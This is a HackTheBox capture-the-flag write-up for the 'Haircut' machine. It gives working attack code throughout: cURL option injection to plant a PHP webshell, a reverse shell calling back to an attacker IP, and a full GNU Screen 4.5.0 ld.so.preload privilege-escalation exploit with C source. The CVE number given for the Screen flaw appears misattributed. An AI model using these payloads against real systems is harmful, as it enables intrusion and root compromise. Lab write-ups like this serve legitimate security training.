HTB: Haircut Writeup
Haircut - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Haircut |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Haircut is a medium-difficulty Linux machine that demonstrates the dangers of command injection in web applications and vulnerable privilege escalation vectors. The challenge begins with HTTP enumeration where a PHP application invoking cURL is discovered. By leveraging parameter injection in the cURL command, we upload a PHP webshell to the server’s /uploads/ directory, gaining remote code execution as the www-data user. Privilege escalation is achieved by exploiting a known vulnerability (CVE-2015-4556) in an outdated version of GNU Screen with SUID permissions, allowing us to escalate to root.
TL;DR: Web fuzzing → cURL command injection → webshell upload → RCE as www-data → Screen SUID exploit → root access
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.10.24Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.10.0 (Ubuntu)The target is running OpenSSH on port 22 and NGINX on port 80. No obvious misconfigurations in the SSH banner, so HTTP is the primary attack surface.
Service Enumeration
HTTP Service (Port 80):
A basic web server with the title “HTB Hairdresser” is running. Directory enumeration reveals two interesting endpoints:
gobuster dir --url http://10.10.10.24 \ --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt \ -x php -t 50Key Findings:
/uploads/directory (301 redirect) - writable directory for hosting files/exposed.phpendpoint (200 status) - accepts user input
Visiting /exposed.php reveals a simple form with an input field labeled “URL” and a “Go” button, suggesting the application sends HTTP requests.
Vulnerability Assessment
Identified Vulnerabilities:
- Command Injection via cURL - The
/exposed.phpendpoint likely passes user input directly to thecurlcommand without sanitization - Writable Upload Directory - The
/uploads/folder is accessible and writable, allowing us to host malicious PHP files - No Input Validation - Special characters and command-line flags are not filtered
Initial Foothold
Exploitation Path
Step 1: Confirm cURL Usage
To confirm the application uses cURL, we set up a netcat listener on our attacking machine:
nc -nlvp 8000We then submit our attacker IP through the exposed.php form:
http://10.10.14.70:8000/The listener captures the request:
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 37830GET / HTTP/1.1Host: 10.10.14.70:8000User-Agent: curl/7.47.0Accept: */*The User-Agent: curl/7.47.0 confirms cURL is being used server-side.
Step 2: Create a PHP Webshell
We create a simple PHP webshell that executes commands via GET parameters:
cat > shell.php << 'EOF'<?php system($_GET["melo"]); ?>EOFStep 3: Host the Webshell Locally
On our attacking machine, we start a Python HTTP server in the directory containing shell.php:
python3 -m http.server 8000Step 4: Inject cURL Parameters to Download and Save the Shell
The key insight is that cURL accepts the -o flag to specify an output file. Since the application passes our input to cURL, we can inject this flag:
http://<ATTACKER_IP>:8000/shell.php -o uploads/shell.phpWhen submitted, the server executes:
curl "http://<ATTACKER_IP>:8000/shell.php -o uploads/shell.php"This downloads our shell.php and saves it to the /uploads/ directory. We verify success with a GET request on our Python server:
10.10.10.24 - - [15/Jul/2024 05:24:55] "GET /shell.php HTTP/1.1" 200 -Step 5: Verify Remote Code Execution
We test RCE by executing the id command:
curl http://10.10.10.24/uploads/shell.php?melo=idOutput:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Step 6: Upgrade to Interactive Reverse Shell
A one-liner webshell is limited. We download a more robust PHP reverse shell:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O rev.phpWe modify the shell configuration:
$ip = '10.10.14.70'; // Attacker IP$port = 4444; // Attacker portWe host this shell and inject it the same way:
http://<ATTACKER_IP>:8000/rev.php -o uploads/rev.phpOn our attacking machine, we start a netcat listener:
nc -nlvp 4444We trigger the reverse shell by accessing it:
curl http://10.10.10.24/uploads/rev.phpWe receive a reverse shell connection as www-data:
listening on [any] 4444 ...connect to [10.10.14.70] from (UNKNOWN) [10.10.10.24] 55806Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64uid=33(www-data) gid=33(www-data) groups=33(www-data)The user flag is located at /home/maria/user.txt.
Privilege Escalation
SUID Enumeration
With shell access as www-data, we search for SUID binaries that might be exploitable:
find / -perm /4000 2>/dev/nullKey Finding:
/usr/bin/screen-4.5.0This is version 4.5.0 of GNU Screen, which is vulnerable to CVE-2015-4556 — a privilege escalation vulnerability that allows local users to write to arbitrary files via the -L option when logging is enabled.
Exploitation: Screen CVE-2015-4556
The vulnerability allows us to create a file in /etc/ld.so.preload, which causes the system to load a malicious shared library before executing binaries. This gives us arbitrary code execution as root.
Step 1: Create the Malicious Shared Library
We create libhax.c, which uses the constructor attribute to execute code when the library is loaded:
cat << 'EOF' > /tmp/libhax.c#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n");}EOFThis code:
- Changes ownership of
/tmp/rootshellto root (uid 0, gid 0) - Sets SUID bit on
/tmp/rootshell - Removes
/etc/ld.so.preloadto clean up
We compile it as a shared object:
export PATH=/usr/bin:$PATHgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.cStep 2: Create the Root Shell Binary
We create rootshell.c, which elevates privileges and spawns a shell:
cat << 'EOF' > /tmp/rootshell.c#include <stdio.h>int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL);}EOFWe compile it:
gcc -o /tmp/rootshell /tmp/rootshell.cStep 3: Trigger the Exploit Using Screen
We navigate to /etc and use Screen’s -L (logging) option to write to /etc/ld.so.preload:
cd /etcumask 000screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"This command:
screen -D -m- Runs Screen in detached mode-L- Enables logging to a file namedld.so.preload- The output (
echo -ne "\x0a/tmp/libhax.so") is redirected to/etc/ld.so.preload
The umask ensures the file is readable by the loader.
Step 4: Execute the Root Shell
We verify the exploit worked:
screen -ls/tmp/rootshellThe /tmp/rootshell binary now has SUID bit set by libhax, and when executed, our constructor function runs first under root context, properly setting permissions. Running it gives us a root shell:
idOutput:
uid=0(root) gid=0(root) groups=0(root),33(www-data)We verify the binary permissions:
ls -al /tmp/rootshellOutput:
-rwsr-xr-x 1 root root 8816 Jul 15 13:06 /tmp/rootshellThe root flag is located at /root/root.txt.
Attack Chain Summary
Web Enumeration (Gobuster) ↓Discover /exposed.php (cURL-based endpoint) ↓Identify cURL via User-Agent header (netcat) ↓Create PHP webshell (shell.php) ↓Inject cURL parameters (-o flag) to upload shell ↓Remote Code Execution as www-data ↓Upgrade to reverse shell (rev.php) ↓Interactive shell access ↓Enumerate SUID binaries (find /perm) ↓Discover vulnerable Screen 4.5.0 ↓Compile libhax.so (privilege escalation library) ↓Compile rootshell binary ↓Use Screen -L flag to write /etc/ld.so.preload ↓Execute rootshell with SUID bit ↓Root shell obtainedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | HTTP directory and file enumeration |
netcat | Listening for reverse shells and capturing network traffic |
curl | Testing web endpoints and uploading payloads |
python3 -m http.server | Hosting PHP payloads for download |
gcc | Compiling C code (libhax.so and rootshell) |
screen | Exploiting CVE-2015-4556 for privilege escalation |
Key Learnings
Techniques Practiced
- HTTP Fuzzing & Enumeration - Using gobuster to discover hidden endpoints and directories
- Command Injection - Identifying and exploiting unsafe use of system commands (cURL parameter injection)
- File Upload Exploitation - Leveraging writable directories to host webshells
- Reverse Shell Techniques - Upgrading from basic command execution to interactive shells
- SUID Binary Exploitation - Researching CVEs for setuid binaries and understanding privilege escalation vectors
- Shared Object Injection (LD_PRELOAD) - Using constructor functions and preloading libraries for code execution
- Exploit Chain Construction - Combining multiple vulnerabilities into a complete attack path
Lessons Learned
-
User Input Sanitization is Critical - Directly passing user input to system commands (cURL, system calls) is dangerous. Always validate, escape, or use safer APIs.
-
Writable Directories are Attack Surface - Upload directories accessible via the web create opportunities for RCE if combined with code execution vulnerabilities.
-
Outdated Software is a Major Risk - GNU Screen 4.5.0’s vulnerability was known and patched. Regular updates are essential for security.
-
SUID Binaries Require Careful Vetting - Setuid binaries are high-value targets. Keeping them updated and monitoring for CVEs is crucial.
-
Constructor Functions Enable Early Code Execution - The
__attribute__ ((__constructor__))in C allows code to run during library initialization, beforemain(), enabling powerful exploitation techniques. -
Defense in Depth Matters - Even with a compromised web application, limiting the sudo privileges and keeping SUID binaries patched could have prevented root compromise.
-
Environment Variables Matter - PATH issues during compilation (
gcc: error trying to exec 'cc1') require understanding how the system finds binaries and tools.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>